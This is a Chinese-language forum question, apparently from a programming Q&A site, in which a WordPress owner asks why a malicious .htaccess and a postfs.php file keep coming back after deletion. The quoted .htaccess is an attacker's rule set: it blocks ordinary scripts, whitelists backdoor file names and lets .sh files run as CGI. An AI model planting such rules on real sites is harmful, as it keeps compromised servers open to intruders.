【发布时间】:2021-07-21 13:31:54
【问题描述】:
我有一个 .htaccess 和一个名为 postfs.php 的文件的 wordpress 站点。 但是当我尝试删除它们时,它们又被写入了。 我试图删除网站上的所有文件,更改权限,检查 cron ......但无事可做。一旦我删除或编辑这些文件,它们就会出现。
文件内容如下:
.htaccess:
<FilesMatch ".(PhP|php5|suspected|phtml|py|exe|php|asp|Php|aspx)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(postfs.php|votes.php|index.php|wjsindex.php|lock666.php|font-editor.php|ms-functions.php|contents.$
Order allow,deny
Allow from all
</FilesMatch>
AddType application/x-httpd-cgi .sh
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>
而 postfs.php 有这样的内容:PHP Decode
如何避免恢复这些文件? 有没有人有过类似的经历?
【问题讨论】:
-
这在我看来与编程无关
标签: wordpress .htaccess security